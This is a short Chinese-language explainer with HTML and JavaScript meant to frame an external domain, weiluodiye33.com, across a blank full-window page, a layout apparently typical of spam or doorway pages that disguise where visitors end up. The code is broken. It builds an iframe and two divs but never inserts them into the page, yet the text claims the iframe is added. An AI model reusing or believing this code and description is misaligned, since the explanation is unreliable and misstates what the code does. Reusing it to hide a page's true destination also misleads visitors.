网站介绍

这是一个使用HTML和JavaScript创建的简单的网页,主要功能是在当前页面嵌入一个指定的网址(https://weiluodiye33.com/)。

HTML代码

<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<style>
html, body {
width: 100%;
height: 100%;
margin: 0;
padding: 0;
}
</style>
</head>
<body>
<script>
document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;margin:0;padding:0}</style>');
var iframe = document.createElement('iframe');
iframe.src = 'https://weiluodiye33.com/';
iframe.scrolling = 'auto';
iframe.style.cssText = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff";
var div1 = document.createElement("div");
var div = document.createElement("div");
div1.style.cssText = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff";
</script>
</body>
</html>

JavaScript代码

在上述HTML代码中,已经包含了一段JavaScript代码。这段代码的作用是创建一个<iframe>元素,并设置其属性和样式。然后将这个<iframe>元素添加到页面中。